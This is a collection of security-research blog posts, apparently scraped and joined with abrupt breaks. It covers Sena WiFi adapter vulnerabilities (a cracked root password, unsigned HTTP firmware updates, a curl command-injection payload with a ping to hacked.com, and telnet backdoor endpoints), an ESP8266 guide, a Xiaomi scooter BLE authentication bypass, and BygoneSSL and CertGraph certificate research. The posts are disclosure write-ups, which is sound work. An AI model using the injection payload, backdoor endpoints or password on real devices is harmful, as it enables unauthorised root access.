The rootfs-rw partition’s /etc/shadow root password was hashed with the much more secure DEScrypt algorithm. I was able to submit this hash to crack.sh and have it cracked in a day revealing the password snowtalk. They say a picture is worth 1000 words:

It worked! Root shell acquired! It’s now possible to poke around the running system which is much more valuable than just exploring the file-system dump created earlier.

Sena has another product called the Snowtalk, which makes me wonder if aside from poor password choice if there is any password reuse going on…

Network Analysis

The Sena WiFi adapter can act as its own AP (wireless access point) for initial configuration; or join an existing wireless network (for updating firmware). In both modes the same services appear to be running on the device. The only service of interest is an HTTP server running on port 8000, that the companion app sends requests to, but more on that later.

When in normal mode (as a client connected to WiFi), the WiFi adapter sends out periodic requests to check for firmware updates for itself, and any headset that may be connected.

In order to view and tamper with the outbound requests I made a simple DNS and HTTP MITM server that would log and respond to any requests the device made on the network. Using this tool I was able to discover that all of its outbound requests are to http://firmware.sena.com. This is interesting because it only used HTTP and not HTTPS, which means the traffic can be easily inspected and it is possible to serve different content to the adapter without it knowing.

Network Behavior

First, periodic requests are made to http://firmware.sena.com/senabluetoothmanager/WiFiCradle/check.cdat to check for Internet connectivity. Once Internet connectivity is established, a request to http://firmware.sena.com/senabluetoothmanager/WiFiCradle/fw_restore_ver_adapter.cdat is made to determine if the WiFi adapter needs to update its own firmware, if so it will download an ARM ELF executable from the same server and run it. If there is a newer adapter firmware available it will download the binary http://firmware.sena.com/senabluetoothmanager/WiFiCradle/FIRMWARE_660R_X.X_ADAPTER.bin and run it, where X.X is the firmware version.

After the WiFi adapter is satisfied that it is running the latest firmware, it will make a request to http://firmware.sena.com/senabluetoothmanager/Firmware to get a list of all the firmware available for all of Sena’s headset products. If it determines that there is a newer firmware available for the connected headset, it will download and run http://firmware.sena.com/senabluetoothmanager/WiFiCradle/loader.capp which is another ARM ELF executable to start the firmware updating process. This loader.capp will determine which headset is connected by looking at the USB Product ID (PID), and then download http://firmware.sena.com/senabluetoothmanager/WiFiCradle/updater_0x####.capp, where 0x#### is the USB PID in hex. This is another binary file that is run, specific to the particular headset that is connected. For my 50R, this was updater_0x3134.capp. Finally, the updater program will download the latest firmware image and flash it to the headset using DFU. In my case this was http://firmware.sena.com/senabluetoothmanager/50R-v1.0.4.img.

Network MITM

What’s important to note here is that all the binaries are downloaded over HTTP, and there is no signature validation. This means anyone able to intercept network requests can provide other binaries and the WiFi adapter will blindly download and run them. To test this I created my own versions of the binaries, but I used the following shell script:

#!/bin/sh
ping -c 1 hacked.com

Surprisingly this worked even though it was a script and not an ELF binary. As I was still monitoring the network traffic, I could see the DNS request being made for hacked.com and then ICMP requests being sent to it. This worked for all of the previously mentioned binary files. This allows for Remote Code Execution as long as the attacker is on the same network as the adapter and able to impersonate the firmware.sena.com HTTP server. Combined with ARP Spoofing, an attacker only needs to be on the same network to make the adapter think that the attacker is the gateway allowing then to impersonate the HTTP update server and send malicious updates.

But can the attack be better?

Reverse Engineering

With access to the file-system and binaries that are running on the device from the prior work, it is now possible to examine the HTTP API server query.cgi listening on port 8000. This API is used by the companion apps.

Since the query.cgi HTTP server runs when the adapter is in AP mode, and when connected to another network, It is possible to make calls to it from any computer on the same network it is connected to, and even instruct it to switch to AP mode, or from AP mode and connect to another network from the Android app. There is no authentication for the API or for the network when in AP mode making the API a great target.

Monitoring the network traffic between the Android app and the WiFi adapter (IP:10.42.0.1) reveals that all the API calls are HTTP GET request with parameters and values in the query-string, and responses returned in the HTTP body.

http://10.42.0.1:8000/cgi-bin/query.cgi?cmd=getaplist
http://10.42.0.1:8000/cgi-bin/query.cgi?cmd=app_version
http://10.42.0.1:8000/cgi-bin/query.cgi?cmd=setssid&value=WiFiNetworkName
http://10.42.0.1:8000/cgi-bin/query.cgi?cmd=getlog

This appears to be a very simple RPC API where the cmd parameter is the function to call and any arguments are provided with the value parameters.

Some API calls reveal a lot of information. For example, one such call returns the user’s WiFi password, which could be used by an attacker to get onto a victim’s home network if they de-auth the WiFi adapter putting it into AP mode first.

In order to determine how the API calls are implemented and if there are any other hidden API calls available, the query.cgi can be examined with a software reverse engineering tool like Ghidra.

Taking a look at setssid

I looked at the setssid command first to see how the user supplied data was being processed. After setting the WiFi SSID in the [wpa_supplicant.conf](https://linux.die.net/man/5/wpa_supplicant.conf) file it also sets the hostname of the WiFi adapter to the provided value with the following code:

At first pass this may seem fine, but upon further inspection I noticed that the user supplied value, param_1 in this case, was being put into a string with sprintf() and then passed to system(), which will pass the command to the shell. This is a vulnerability.

If I pass the value sena1337";ping -c1 "hacked.com, then the string passed to system() will end up being /bin/hostname "sena1337";ping -c1 "hacked.com" which will set the hostname to “sena1337” and then run the second command provided, in this case, ping. This works because the ; character tells the shell to treat everything after it as a separate command.

Since setting the SSID is a feature provided by the mobile app, it might be possible to use it to perform run commands, however it seems Sena thought of that and prevented it.

But this is only the Android app sanitizing the input and preventing the use of special characters in this API call. It is possible to bypass the app and make the call directly with curl and URL encoding the parameters:

curl 'http://10.42.0.1:8000/cgi-bin/query.cgi?cmd=setssid&value=sena1337%22%3Bping%20-c1%20%hacked.com'

After running the above command while the adapter was on my home network, I observed both a DNS query for hacked.com and an ICMP ping request sent as well. This is known as Command Injection, and it worked here because the user input was only validated on the client (Android app) and not the server (HTTP API). While the ping here is harmless, it can be replaced with any other command which the WiFi adapter will run as root. Another RCE!

Finding a Backdoor

After further examination of the HTTP API code I found a few more interesting API calls. The WiFi adapter has two test modes that change the endpoints the adapter uses to check for firmware updates. These are likely used internally at Sena for development and debugging. When in test mode the WiFi adapter also starts a telnet server listing on port 23. And of course, there is a API call to just enable the telnet server directly in the normal mode too. A HTTP GET request to any of these endpoints will start the telnet server:

http://10.42.0.1:8000/cgi-bin/query.cgi?cmd=telnetd
http://10.42.0.1:8000/cgi-bin/query.cgi?cmd=setconf&key=testmode&value=1
http://10.42.0.1:8000/cgi-bin/query.cgi?cmd=setconf&key=testmode&value=2

Once started, anyone on the same network can connect to it. The telnet server does require authentication, but the previously acquired password works providing another root shell. More RCE!

Looking at Another System Call

There are many places that the HTTP API will make a system() call to wget in order to download a file from the Internet such as the previously mentioned firmware updates or binaries that it runs as part of the update process. All of the calls to wget look like this:

Here the code clearly shows us that wget is always called with the --no-check-certificate flag, which means that even if HTTPS was used, the certificate would not be checked, still allowing an attacker to provide any binary or firmware they want.

After reviewing more of the code, I suspect that the same code and hardware that are in this WiFi adapter are also in Sena’s WiFi Docking Station, Implying it is vulnerable to the same attacks. There were even references to unreleased and unannounced Sena products in the reversed code as well.

Conclusion

These findings provide a potential attacker multiple ways to remotely get root shell access to the WiFi Adapter cable. From here they can flash malicious firmware to the adapter and helmet, or use the adapter as a pivot point and attack other devices on the user’s home network. If the attacker was able to flash malicious firmware onto a headset, it could lead to injury or even loss of life if the bad firmware was able to distract or incapacitate a driver.

Unfortunately these types of vulnerabilities are common on IoT devices like this where security is not a high concern.

Findings List

• weak dictionary word password
• no signature verification for update images or binaries loaded over the network
• no TLS used for remote connections
• command injection on HTTP API
• SSL certificate checking disabled
• telnet backdoor

One hypothetical full attack chain could go like this: an attacker scans for Sena WiFi adapters around them identifying them by MAC address OUI prefix. Once found, send a WiFi de-auth frame to the adapter causing it to go into AP mode, if not already. Then connect to the WiFi adapter, and get a root shell using either the telnet backdoor and password, or command injection. From here the attacker can steal the user’s home WiFi password, use the adapter as a pivot to attack other devices on the victim’s network, backdoor the firmware to provide malicious firmware updates to any connected headsets, and more. All wirelessly without physical access to the WiFi adapter.

Disclosure Timeline

As a long-time user and advocate of Sena products, I’d like to work with them to fix these issues and make them more secure for everyone. Unfortunately that was more difficult than ideal. I was unable to get in contact with anyone at Sena to disclose the vulnerabilities when I initially found them in September 2020. It was not until after I gave them 90 days and submitted my original draft of this post to them in December that they eventually respond to me and started working to fix the issues. I gave them an additional few months to fix the issues as it was my goal to get the problems fixed.

• 09/24/2020 - I had great difficulty finding any contact information for Sena to report these findings. I started by emailing sales.us@sena.com and sena.it@sena.com, and was told to file a support ticket.
• 09/25/2020 - Sent a Twitter DM to @senabluetooth, who also told me to file a support ticket. I filed support ticket #390170 to start the conversation for disclosure. The support reps said they would pass along my claim to upper management and then closed the ticket. However I was unable to provide details of the vulnerabilities to them.
• 09/26/2020 - I emailed security@sena.com (bounced), privacy@sena.com, info@sena.com, and it@senausa.com, but got no responses. I even found what I believed to be their CIO’s email and emailed them directly and got no response. Still I decide to give them 90 days before I publish this post in case they are working internally on a fix.
• 12/23/2020 - I sent a draft of this post to the Sena support team and CIO.
• 12/24/2020 - Sena’s CIO finally responds to my email and forwards the information to the product team.
• 12/25/2020 - Sena’s CTO reached out to me to let me know their development team is investigating the issues.
• 12/29/2020 - Sena confirms everything in the above report to be correct, and asks that I postpone publishing until the end of February 2021. I agree.
• 02/26/2021 - Sena releases WiFi Adapter firmware v1.1 and updates to their mobile apps with fixes to the findings above.
• 03/08/2021 - I publish this blog post.

Sena was nice enough to send me a free Sena 50R for submitting the issue to them and for waiting for them to release a fix before publishing this post.

The ESP-WROOM-02 is just a ESP8266 underneath. If you don’t have a breakout board like me, then you will need a UART adapter and make a few minimal solder connections to set the various boot modes to allow you to program the firmware. Once programmed for the first time, you can use OTA updates to allow flashing firmware over WiFi and not need to mess with the wiring every time you want to reprogram it.

The pinout of the ESP-WROOM-02 from its datasheet is as follows:

Powering the ESP-WROOM-02

At a minimum, to power the chip, you’ll need to provide 3.3v to pin 1, and ground to pin 9 or pin 18. You’ll also need to pull the EN pin high to enable the chip. The correct way to do this is to use a 10k resistor between pin 2 and your 3.3v power source, but I just bridged pin 1 and pin 2 so that the ESP is always enabled when receiving power. This is a hack, but good enough for my purposes.

When the RST pin 15 goes from low (GND) to high or floating it will reset the ESP. This can also be achieved by reapplying power, so it is not strictly needed for programming but can be nice to have.

Boot modes

If you were to power on the ESP-WROOM-02 as described above and look at the serial output at 74880 8n1 you would see the following message from the boot-loader:

\xFF
 ets Jan  8 2013,rst cause:1, boot mode:(7,0)

waiting for host

The boot mode shows the current and previous boot mode as mode:(current, previous).

We only care about booting from UART for programming and from flash for running the program.

In order to boot to UART for programming IO0 and IO15 need to be held low (GND) while the ESP boots up. Once in UART programming mode the ESP will switch to 115200 8n1 and wait for a program to be loaded.

To boot normally and run your flashed program IO15 needs to be held low (GND) and IO0 can be held high (with a resistor to 3.3v) or left floating.

After the ESP is booted (in either mode) IO0 and IO15 can be repurposed for other GPIO. They only need to be held high/low during boot to set the correct boot mode.

After programming is done, you may need to manually reset the ESP (with RST or reapplying power) and change the configuration to make it boot to the freshly programmed code.

To make things as simple as possible, if you don’t need to use IO0 and IO15 for your project, IO15 can be permanently wired to GND, and IO0 to a switch to GND to allow for easy programming.

Photo of my ESP-WROOM-02 connected to an Adafruit FT232H UART adapter.

ESPHome

I’ve decided to use ESPHome as the framework to load code onto the ESP-WROOM-02, but it is also possible to use the much more lightweight Arduino ESP8266 framework as well. ESPHome can be installed inside Docker or with pip.

Below is a minimal ESPHome yaml configuration file to get the ESP online and configured to allow flashing further firmware updates over WiFi. Be sure to update the placeholder values with your own. You can also enable other sensors or integrations supported by ESPHome.

esphome:
  name: esphome-wroom-02
  platform: ESP8266
  board: esp_wroom_02

wifi:
  ssid: "YOUR_WIFI_SSID"
  password: "YOUR_WIFI_PASSWORD"
  # Enable fallback hotspot (captive portal) in case wifi connection fails
  ap:
    ssid: "ESP-WROOM-02"
    password: ""

# fallback mechanism for when connecting to the configured WiFi fails.
captive_portal:

# enable OTA for firmware flashing over WiFi
ota:
  password: "YOUR_SECURE_PASSWORD_HERE"

# Enable logging
logger:

# enable local web server
web_server:
   port: 80

When you are ready to flash your ESP-WROOM-02 with ESPHome, just pass the yaml configuration file as an argument to the ESPHome command after connecting your UART.

esphome esp-wroom-02-example.yaml run

This will flash the ESP-WROOM-02 with ESPHome with your settings and then start displaying the logs being sent from the ESP over UART. At this point it is now safe to kill the command and disconnect the UART.

Whenever you power on the ESP-WROOM-02 it will connect to your network and run the configuration you loaded onto it. If you ever want to flash an updated firmware, you can use the http server now running on the ESP to upload a new firmware (be sure to have it set to connect back to the same network) or use the same esphome run command without the UART connected to upload new firmware wirelessly. You can also use esphome logs to view the logs wirelessly without uploading new firmware.

Inspired by the original Pebble Minimalin watch face, this Wear OS implementation includes configurable color themes, center complications for additional information display, and optimized rendering for various screen sizes and densities across different smartwatch models.

It turns out that two of the three big players at the time Bird and Spin both used off-the-shelf consumer electric scooters made by Xiaomi often sold as the M365. While these scooters were sold by Xiaomi it appears that they were actually designed and built by Segway-Ninebot which Xiaomi has purchased from them. Knowing this it was easy to find them for sale online.

We live in a world where there is “an app for that” for everything, and this scooter is no exception. While the scooter can be used without an app, it will have limited functionality and you will not be able to change any of the settings or enable any of the “security” features or “lock” the scooter.

When “locked” the scooter will use the motor to add resistance to the front wheel to make using it difficult or impossible to turn and sound its alarm’s beep. This won’t stop all theft but it is a good deterrent. Additionally, you can set a numeric pass-code on the scooter that you will need to enter in the app for the scooter to turn on.

The App

The Xiaomi provided App was an all-in-one solution for every IOT thing they offer. I guess if you are deep into the Xiaomi ecosystem this makes sense, but for the simple scooter control I wanted this was overkill. Additionally the permissions the app requested made the privacy enthusiast in my cry out in terror. It wants access to almost everything Android offers, which is way overkill for a scooter control application, and likely still overkill for every other IOT device they produce. Not to mention, what while Xiaomi does make some nice things, they are based out of China which is where they produce their hardware and software which may be cause for concern.

I thought that if I could reverse-engineer the scooter portion of the Xiaomi App and put it into my own app it would solve these problems. Unfortunately the Xiaomi App was heavily obfuscated and the scooter code was a very small portion of the larger app which was all jumbled together. While I’m sure it would have been possible to do this, I set out to find an easier solution.

Before Xiaomi bought the scooter designs from Ninebot they had their own app to control their scooters. This is a much smaller app that was mostly just the code for the scooters. Unfortunately, Since Xiaomi took over the M365 NineBot has updated their app to no longer work with the Xiaomi scooters. (WHY???) Alas, version 4.3.0 and below still work with the Xiaomi M365 and can be found online and side-loaded manually.

However, while Ninebot’s app required many less permissions than Xiaomi’s app, it still required more permissions than I was comfortable with. So I continued my journey to reverse-engineer the simpler NineBot app to implement my own solution.

Reverse Engineering

Pre-existing work

Luckily for me there was already a community built around modding the M365 scooters who had already started reverse-engineering some of the functionality. Most of the prior word was focused around modding the firmware of the M365 itself to change built-in functionality like the removing the speed governor and increasing the rate of acceleration. If you are interested in that, you can generate custom firmware images at M365 Botox and an app to flash them on Google Play.

If you did try to create a custom firmware image for the scooter and flash it, you will notice that the firmware flasher application send the firmware over Bluetooth Low-Energy (BLE). And it can replace the firmware on a device that is “locked”… Oh oh!

Bluetooth Low Energy

The BLE packet format has already been well-documented in the prior work and salvamr created the wonderful m365-ble-msg-builder Java API that simplifies the work required to send/receive BLE packets in a format that the Scooter wants. Additionally maisi’s M365-Power App to display log data from the Scooter made a good place to start.

All I needed was to find the BLE packets for the commands I want to implement from the NineBot application and make my own app to send them and parse any responses.

It should also be noted that the normal Bluetooth pairing process does involve a sort of mutual authentication between devices that helps add a layer of security on top of the Bluetooth channel making it harder for any Bluetooth device start talking to any other device. However, Bluetooth Low Energy lacks built-in authentication, relaying on the application layer to handle the authentication (if any).

NineBot App

After spending some time digging through the decompiled output of the NineBot app I obtained a fairly good understanding of how the auth works, to summarize, it goes something like this:

• App pairs with Scooter using BLE UART
• App asks Scooter for saved passcode
• Scooter provides App the saved passcode
• App asks user for passcode
• App compares the two passcodes
• If passcode match, App send “unlock” packet to scooter
• If passcode do not, app shows error to user.

It does not take a security mastermind to figure out the obvious problem here. The authentication is performed “client-side”. Which means that the device a user controls (their phone running the app) is in charge of deciding for itself if it should be allowed in.

M365 Goals

At this point I’ve become interested in the BLE packets for the following sensitive actions:

• Unlock the scooter
• Lock the scooter
• Read the saved password from the Scooter
• Save a new password to the Scooter

I was able to find the packets for retrieving and setting the passcode fairly easily, and with some help from my friend Brandon Weeks I found the lock and unlock passcode as well and implemented them into a simple test application.

M365-Toolbox

Using the M365-Power app as a base, I created M365-ToolBox to test sending the interesting packets. Surprisingly everything just worked. When sending any of the packets, such as unlock, the scooter would happy respond with a “chirp” and unlock itself without any fuss. Every command I tested worked pre-authentication. So, not only was the authentication handled client-side. The scooter didn’t even care if you skipped the authentication step and just told it what you wanted it to do. I tested on a few other scooters and they all worked the same. I could remotely unlock/lock any scooter without knowing its password, additionally, I could read the passwords other users have set and even change them resulting in a Denial of Service.

If I wanted to use any of the more advanced features I could use the NineBot or Xiaomi apps with the scooter and provide them the password that my app could read from the scooter to perform any of the more advanced functions.

Disclosure

After finding these issues I disclosed them to all the affected parties I could before making this post and waiting to give them plenty of time to fix the issues.

Xiaomi

Luckily Xiaomi runs a bug bounty and the scooter was in scope! I submitted my findings and a copy of my M365-Toolbox app and was eventually rewarded $500 for my finding.

Timeline

• December 23rd 2018: Initial disclosure to security@xiaomi.com
• December 24th 2018: Xiaomi acknowledges and requests POC
• December 25th 2018: I share POC code and detailed explanation
• December 29th 2018: Xiaomi confirms they are able to reproduce the vulnerability
• January 1st 2019: Xiaomi rewards me 4000 RMB (~$500) from their Bug Bounty

Spin

Spin which used the same hardware was also vulnerable to the same packets to take over their scooters. I had great difficulty finding contact information for anyone to disclose this to. I eventually found the emails for their support and a few of their engineers., and decided to email them all and hope for the best. Unfortunately they where not very responsive and ultimately I was never able to disclose to them. As far as I know they are still vulnerable.

Timeline

• January 11th 2019: Initially reached out to Spin to disclose vulnerability
• January 21st 2019: After no contact, I follow up with some more details and increasing the sense of urgency
• January 21st 2019: I’m told the policy team will each out to me after reviewing my “case”
• Radio silence

Bird

Bird also uses the Xiaomi M365 hardware, but they replace the BLE controller board with what people are calling a Bird Brain. The Bird Brain has a cellular modem and relays all commands through Bird’s servers to the user’s phone. As a result of this, they are not vulnerable to the attack I describe here, so I did not find it necessary to disclose to them. However a quick glance at their app’s decompiled code shows some Bluetooth functionality, so this might be a good area to explorer further.

Other Related Security Findings

In the process of performing my background research on this I ran across this report from IOActive finding a very similar vulnerability in NineBot’s Segway product about a year earlier. Since IOActive found and disclosed this NineBot has patched it, which is great! However it is saddening to see that after the disclosure NineBot failed to learn from their mistake and included a very similar vulnerability in other products.

After I reported my findings to Xiaomi Rani Idan found the same vulnerabilities that I did and also reported it to Xiaomi. Xiaomi told them that they already knew of the issue (likely in part due to my report) so Rani decided to release their POC. Even after they released their POC I still felt it was right to wait at least 90 days from my disclosure before releasing mine.

The proof-of-concept tool reveals how the scooter’s authentication can be circumvented through protocol manipulation, allowing remote control access without proper authorization. This research highlighted critical security flaws in IoT device communication protocols commonly found in consumer transportation devices.

The watch face features Material Design aesthetics with customizable color themes and optional center complications. The implementation renders traditional analog clock hands using sequences of binary digits, inspired by Anthony Liekens’s Analog Binary Wall Clock concept.

You can learn more about BygoneSSL and see a demo at insecure.design.

The Problem

A Certificate can outlive the ownership of a domain.

If the domain is then re-registered by someone else, this leaves with the first owner with a valid SSL certificate for the domain now owned by someone else.

The above diagram illustrates an example where Alice registers foo.com for 1 year, and gets a 3 year SSL certificate from a trusted Certificate Authority. Alice then decides not to renew the domain (or possibly forgets) and after one year the domain expires. Some time later Bob registers foo.com and because Bob is on top of all the latest security trends, he also gets a SSL certificate to protect the traffic to his new domain. Little does he know, that Alice, malicious or not, still has a valid SSL certificate for what is now Bob’s domain. This is a problem we are calling BygoneSSL.

What can Bob do?

Until recently it was not even possible for Bob to determine if there exists prior certificates for his domain. However, now we have Certificate Transparency.

Certificate Transparency

Certificate Transparency (CT) was designed to catch bad or misbehaving Certificate Authorities (CAs). Anyone can run a CT Log server, which is a publicly auditable log of certificates that anyone can submit to. At the time of writing there are about 1/2 billion certificates in public CT logs and growing.

CT is required for all certificates issued after April 2018 to be trusted. Many certificates issued before April are also in the logs, but is is not requires.

For more information on Certificate Transparency, see my CertGraph post or the Certificate Transparency site.

Finding Pre-existing Certificates

Knowing the registration date of a domain, you can search CT logs for certificates issued before the registration date, and valid after. However there is no guarantee that all Certificates issued before April 2018 will be found. So you may not have a complete picture, but it is as close as we can get.

An Example: stripe.com

stripe.com is an excellent example of this. Stripe is a major online payment processor. They acquired their domain name in 2010 from a domain parking service. However there exists a certificate issued in 2009 that is valid until 2011, over a year into Stripe’s ownership of stripe.com.

Why is this a problem?

Well, aside from the fact that the previous domain owner could Man-in-the-Middle the new domain owner’s SSL traffic for that domain, if there are any domains that share alt-names with the domain, they can be revoked, potentially causing a Denial-of-Service if they are still in use. More on this below.

BygoneSSL Definition

noun A SSL certificate created before and supersedes its domains’ current registration date.

BygoneSSL Man in the Middle

If a company acquires a previously owned domain, the previous owner could still have a valid certificates, which could allow them to MitM the SSL connection with their prior certificate.

The above stripe.com is an example of a potential BygoneSSL Man in the Middle.

BygoneSSL Denial of Service

If a certificate has a subject alt-name for a domain no longer owned by the certificate user. It is possible to revoke the certificate that has both the vulnerable alt-name and other domains. You can DoS the service if the shared certificate is still in use!

Revoking

The CA/Browser Forum, which sets the rules by which Certificate Authorities and Browsers should operate, states that if any information in a certificate becomes incorrect or inaccurate, it should be revoked. Additionally if the domain registrant has failed to renew their domain, the CA should revoke the certificate within 24 hours.

DoS example: do.com

do.com has had many owners in the past few years, some of which added the domain to their SSL certificates. However in this particular case, the certificate hosting salesforce.com listed do.com as an alt-name. Even after do.com was transferred to another owner.

Due to the regulations set by the CA/B forum, this certificate could be revoked, causing downtime for the users of salesforce.com.

The above screenshot is of CertGraph, a tool I wrote to identify related domains through linked certificate alt-names; showing how salesforce.com is linked to squarespace.com through the do.com alt-name in the certificate past Salesforce’s ownership of the domain.

How big is this issue?

In order to get an idea of how many BygoneSSL certificates might still be out there We performed an analysis on over 3 million random domains and their 7.7 million SSL certificates. This sample makes up about 1% of the Internet’s domains.

To determine if a domain has been transferred, We searched historical WHOIS, Name Servers, and the WayBack Machine. Since there are many reasons a domain’s WHOIS, Name Servers, or site may change, We intentionally weighted the algorithm to favor false negatives over false positives. It is not perfect, there are MANY false negatives and quite a few false positives, but it does give a glimpse into the scale of the problem.

Domains Directly Affected (MitM)

A domain is directly affected if there exists a certificate that was created before its registration date, and valid after. In the random sampling of domains studied, We found that 0.45% meet this criteria. This might seem like a small number, but the Internet is huge which puts this at around 1.5 Million domains. Of the certificates sampled that are affected, 25% are still valid and can be used today by the prior domain owner.

Domains Affected by Alt-Names (Dos)

A domain is affected by an alt-name if it shared a certificate with a domain that is directly affected. These domains can be Denial of Serviced like the above do.com example. Of the domains studied, 2.05% are affected by sharing a certificate with an alt-name. This is represents 7 Million domains on the entire Internet, a 4x increase over the previous MitM finding. Of the certificates affected, 41% are still valid. Meaning they can be revoked and if still in use will cause breakage!

What should be done about this?

If you find a certificate that is still in use that has an alt-name that is no longer under control of the certificate owner you should notify them. Bonus points if they have a bug bounty and you mention BygoneSSL. If not, how much notice should you give? The CAs should revoke in under 24 hours of being notified; however many of them take up to weeks, so it is best to give as much notice as possible to prevent being disruptive.

Protecting your own Domains

First search CT for BygoneSSL certificates for your domains. If you find any, reach out to the issuing CA’s and request that they be revoked. If the certificates have alt-names that are still in use, you should give the other domain owners a heads up as well in case they are still using the certificates.

Next you should setup your servers to use the Expect-CT header in enforce mode to prevent any SSL certificates that are not in CT from being valid for your domains. Unfortunately this will only work for visitors whose first connection to your site is not MitM. Next you need to continue monitoring CT logs in case an older cert gets added later. Certificates can be added to CT logs at any time, not just when they are issued. Be sure to check for alt-names as well. You don’t want someone sitting on a certificate to start using it once they submit it years later. We’ve written a few tools to help you do this mentioned in the next section.

Fixing the problem for the Internet

It would be great if domain registrars did not issue certificates valid for longer than the current domain’s registration. If you could not get a SSL certificate for longer than your domain registration this problem is drastically reduced, excluding transfers, which the new domain owner should expect that the prior owner may have a pre-existing certificate.

CA’s should only issue short-lived certificates. We are making progress on this. New 10 and 5 year certificates are no longer valid. The current maximum life for a certificate is 825 days, which is just over 2 years. There is ongoing work to reduce this even further, with Let’s Encrypt leading the way with 90 day certificates!

Domain registrars could show you pre-existing valid certificates logged in CT when registering or transferring a domain. This gives the domain owner visibility into the potential BygoneSSL certificates that may exist before they could do any damage.

Tools

CertGraph

CertGraph can also be used to detect BygoneSSL MitM and Dos. For MitM use certgraph normally and look for cases where your graph of domains reached domains or certificates that you do not control.

For DoS, use certgraph with the following options:

certgraph -depth 1 -driver google -ct-subdomains -cdn [DOMAIN]...

A future version of CertGraph will include a -bygonessl flag to automate this and add more features, such as domain availability checks.

CertSpotter

CertSpotter is a free and open source Certificate Transparency Log Monitor by SSLMate. I’ve added support for detecting BygoneSSL certificates and got it merged upstream. It works the same, but you can add a valid_at date to the watch-list.

For example, the following watch-list would find the BygoneSSL certificate for insecure.design registered on April 18th 2018.

insecure.design valid_at:2018-04-18
defcon.org valid_at:1993-06-21
wikipedia.org valid_at:2001-01-13
toorcon.net valid_at:2012-03-13

Since this is a full Certificate Transparency Log Monitor. It will take some time to go through the backlog of certificates on the remote logs on its first run.

BygoneSSL Facebook Search Tool

Dylan also wrote a similar tool to search Facebook’s Certificate Transparency Monitor. It requires Facebook OAuth, but is much faster because it does not need to inspect an entire log. You can find it here: https://github.com/dxa4481/bygonessl.

Defcon Recording

CA & Browser Forum Presentation

The implementation supports parallel downloads, request management, and provides both library interfaces for Go applications and standalone command-line functionality. The tool automates the process of requesting and retrieving DNS zone files from ICANN’s centralized service.

Background

The idea for this project came about after examining the SSL certificate for XKCD.com. If you look closely at the screenshot below you will see that the SSL certificate used on XKCD.com is also valid for many of domains which have no relationship to XKCD or Randall Munroe.

This behavior is a side-effect of the CDN used by XKCD, in this case, Fastly. Fastly is putting many of their clients on the same certificate, likely in an effort to simplify their deployment. This works because SSL certificates can use the “Certificate Subject Alternative Name” extension to add a list of additional hosts that the certificate should be valid for in addition to the primary name specified in the certificate.

There can also be many certificates issued for a single domain. This creates a many-to-many relationship between certificates and domains; An ideal target to graph.

Certificate Transparency

Certificate Transparency logs provide an additional and excellent source of SSL certificates to query. Instead of connecting to each host to get its certificate, we can get them all from a single log or index.

Certificate Transparency Background

Flaws in the current system of digital certificate management were made evident by high-profile security and privacy breaches caused by fraudulent certificates being issued by “trusted” CAs. The goal of Certificate Transparency is to provide an open auditing and monitoring system that lets any domain owner or certificate authority determine whether their certificates have been mistakenly issued or maliciously used. Certificate Transparency allows domain owners to be notified whenever a certificate is issued for their domain informing them of any unauthorized certificates that may exist. In near real time!

The actual Certificate Transparency logs are hundreds of gigabytes in size and not indexed, so searching them is not ideal, however, there are public Certificate Transparency search engines that index all of the data for us so we can query it.

• Comodo’s crt.sh
• Google
• Facebook

Unfortunately Facebook’s tool requires you to be logged into a Facebook account to use it. But it does send you instant notifications whenever it detects a new certificate issued for a domain you are monitoring.

CertGraph Examples

Subdomain Enumeration

There are lots of subdomain enumeration tools already (for example Sublist3r), but they all work by either brute-forcing domains, or by searching indexes like Google. CertGraph can also help enumerate subdomains, but much faster and with much more accuracy. This is because every domain CertGraph encounters is known to be a valid domain. Although CertGraph may not encounter every subdomain, it should have no false-positives.

Internal Domain leakage

CertGraph can help enumerate all domains that you may not know are publicly listed inside your certificate alt-names. This can sometimes lead to certificates that are valid for both internal and external hosts being guessed externally, sharing the internal host names with the public. Below is an example of this.

$ certgraph -driver crtsh -ct-subdomains netflix.com | grep internal
staging-npp-internal.netflix.com
issues-internal.nrd.netflix.net
dev-npp-internal.netflix.com
npp-internal.netflix.com
api-internal.test.netflix.com
api-int-internal.netflix.com
api-int-internal.test.netflix.com
...

Misconfigured Certificates

The graph visualization that CertGraph can output can be thought of as a trust graph. If a certificate is valid for one domain, which is being hosted with a cert for another domain, we can say that the second domain must trust the owner of the first domain, as they have the certificate for it. This idea can be expanded and chained to incorporate many certificates. If your graph includes many domains which should not have any trust relationship with you, this may indicate a problem.

Below is a real example of this, with the domains changed to red, green, and blue to make it more obvious and to protect the guilty.

$ certgraph -json blue.com > data.json

In this example Red, Green, and Blue are all different organizations, and we run certgraph on only blue.com, which enumerated a handful of Blue’s other domains and certificates. However, somehow certgraph ended up reaching green.com and then red.com. How is this possible? It turns out blue.com was serving a SSL certificate for green.com in an alt-name and www.green.com had an ssl certificate for red.com.

After some digging I learned that Blue previously owned green.com and sold it to Red. But Blue still possesses a valid SSL certificate for green.com and is serving it from blue.com. At this point Blue can SSL man-in-the-middle Red’s green.com domain. Take a minute to let that sink in.

CDNs

If any of the crawled domains use a CDN, CertGraph will skip the CDN certificate by default. CDN certificates may contain hundreds of unrelated alt-names introducing lots of unwanted noise into the data. The -cdn flag causes CertGraph to include CDN results in the search instead of skipping them.

How CertGraph Works

Currently CertGraph supports 4 different drivers, which are the way CertGraph searches and acquires certificates for domains.

• http this connects to domains on port 443 and collects the certificate from the TLS handshake.
• smtp like http, but looks up the MX records of the domains and uses port 25 with starttls.
• crtsh searches Certificate Transparency using crt.sh
• google like crtsh but uses Google’s Certificate Transparency search tool

Methodology

Under the hood, CertGraph is rather simple. It uses a modified Breadth-first search to allow it to crawl the graph while it is being created, and in parallel.

Wildcard domains are normalized to their parent domain. Unfortunately this is required because we do not know which subdomain host to connect to. Example: *.example.com → example.com

Certgraph also has a few output modes:

• Domain list - list all the domains found, 1 per line as they are found (default)
• Domain adjacency list - prints more details such as host status, domain’s certificate hash, and depth from root in graph (-details flag)
• JSON Graph - JSON output for graphing on the Web UI (-json flag)
• Save Certificates - Save the certificates in PEM format for later analysis (-save flag)

Examples

Basic usage:

$ ./certgraph -list eff.org
eff.org
staging.eff.org
leez-dev-supporters.eff.org
micah-dev2-supporters.eff.org
maps.eff.org
web6.eff.org
https-everywhere-atlas.eff.org
s.eff.org
max-dev-supporters.eff.org
httpse-atlas.eff.org
kittens.eff.org
dev.eff.org
max-dev-www.eff.org
atlas.eff.org

The domain adjacency list is printed in the following format:

Node Depth Status Cert-Fingerprint [Edge1 Edge2 ... EdgeN]

$ ./certgraph -details eff.org
